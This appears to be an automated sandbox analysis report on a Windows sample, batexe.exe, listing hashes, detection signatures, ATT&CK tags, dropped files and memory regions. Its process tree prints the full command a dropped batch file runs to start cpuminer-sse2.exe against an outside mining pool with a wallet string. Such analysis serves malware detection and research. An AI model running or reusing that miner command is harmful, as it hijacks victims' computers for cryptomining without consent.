73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 13:59

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4308	b2e.exe
3616	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3616	cpuminer-sse2.exe
3616	cpuminer-sse2.exe
3616	cpuminer-sse2.exe
3616	cpuminer-sse2.exe
3616	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3972-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3972 wrote to memory of 4308	3972	batexe.exe	74
PID 3972 wrote to memory of 4308	3972	batexe.exe	74
PID 3972 wrote to memory of 4308	3972	batexe.exe	74
PID 4308 wrote to memory of 3760	4308	b2e.exe	75
PID 4308 wrote to memory of 3760	4308	b2e.exe	75
PID 4308 wrote to memory of 3760	4308	b2e.exe	75
PID 3760 wrote to memory of 3616	3760	cmd.exe	78
PID 3760 wrote to memory of 3616	3760	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Users\Admin\AppData\Local\Temp\AC9B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AC9B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AC9B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B0D1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3760
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AC9B.tmp\b2e.exe

Filesize
2.6MB

MD5
f845d6b8c0beb43591f7ebc96344f81b

SHA1
5bcb9d96f6589b559060e11d6d5a0bf73d91c80e

SHA256
841b8431f27f5e631d37c605530e6ce5430559c96fa9a6ddebc7e9dd63ad04b2

SHA512
8de293211ad14117c9ecb797c78c738c91b691f3dc861401d537cc72c9ba05a40340c452938bd6d72bf400efa1fffb7bb387f204035697b8a229a29288d5d357

Download Submit
C:\Users\Admin\AppData\Local\Temp\AC9B.tmp\b2e.exe

Filesize
3.3MB

MD5
1defb188bb086addb5d5b32401ad9d08

SHA1
a085b8715fa6989eabdc2e88b487faa3bd990130

SHA256
5a82d3e7656c4caa2f32220c498f5eec7372ec649c88f3e85eff76a0388f1a8f

SHA512
24dd6158ae1a4e2418b9454935331b0a83dbad3603d58a619d86c6ec85afc4ad7dc007d53066aa2c8d5b91e5223410b02705d280df10a4f97753058dc50dc4e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\B0D1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
9329fca0baee8b13df35097804674548

SHA1
3227b7f7fb80c5122c852ce09c7ee6d933fdb7be

SHA256
3c599bbce1deb354309f4ed8ca846616face46d99e1e79944aea58f72ac94d1f

SHA512
ae043be9fc9ecfb9d28c5f63f7cf952a0b0a3dc2e7fefd278a071cdde609058dcbbbb94d6e47e7013d200fe44c792e3081a796e4e7d6e52c04e48e58b03343ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
128KB

MD5
0cfc533c46d2f160fc8d8483706228cf

SHA1
0d13ced09eeed5fc3879f418bda0410a742ab6a1

SHA256
510a6af4547083718b32dc00d4711cfff2aec0e7b936d4199feaaf32a7d5d3a6

SHA512
11e35867688e7814881981298b6f6948fceaf254d154f5429e5a82c43397b1894bd35fe7fb586b26e4272d8371c3b8e96c20c71ab05b9df3e851291444702a79

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
1e9f85c2f0775fad9062c4353b786616

SHA1
6022d9392d840ca887e54b25822fcdd33da85c71

SHA256
e12062782760feb5983ef38a672d759883368d4fa517e33401e76424651a5849

SHA512
7077d4277e97c174a49d4d5e94a42934dbbdcfc84ae568855d30af5df26f3d8834164a4bc2f8a776ccc6f9262fe100d6af22c9790caf39459057f58da2991e8b

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
df536762b2ca434a0b7bb89d92f7797b

SHA1
67da6efb30fc6c35dabb38fd0ca0ff0f6d9115ab

SHA256
3e5fb03991e586838ee348838b1c292796231938a134dd2171935cd455cc09f5

SHA512
7d18708c4273d45371c3f2c8da91cbb99a7fb043c4888dc989b81d49f82473c1aae016ab3ba638d6d89db1910caa8ff33196f9b854ad61a0747f254172118fb6

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
d37133008a162307bbc9ef6821fd4785

SHA1
fe50db7ef11f50c723df8eac86c806d932b26418

SHA256
ffdfaae042101497a1ed3570c8bea9cd86076c27a3ab40353d4896444a228088

SHA512
252a00473420f77ea7483e966e9cb81bf721000386867509c37bf275dc9b3715abe525f1be977880d03e8d73f1f487bcbf4a97d0c3da20f802656b25880d3a39

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3616-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3616-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3616-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3616-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3616-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3616-43-0x0000000074D20000-0x0000000074DB8000-memory.dmp

Filesize
608KB

Download
memory/3616-44-0x0000000001100000-0x00000000029B5000-memory.dmp

Filesize
24.7MB

Download
memory/3616-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3616-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3616-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3616-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3616-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3616-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3616-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3616-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3972-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4308-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4308-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download